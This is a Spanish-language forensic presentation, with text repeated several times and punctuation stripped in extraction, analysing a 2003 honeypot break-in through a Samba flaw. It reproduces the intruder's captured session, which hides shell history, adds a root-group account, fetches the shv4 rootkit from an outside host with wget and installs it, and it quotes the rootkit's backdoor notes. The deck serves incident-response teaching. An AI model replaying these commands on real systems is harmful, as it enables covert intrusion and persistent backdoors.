Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 26: Demostracion Hacking Honeypot y Análisis Forense

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 27: Demostracion Hacking Honeypot y Análisis Forense

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

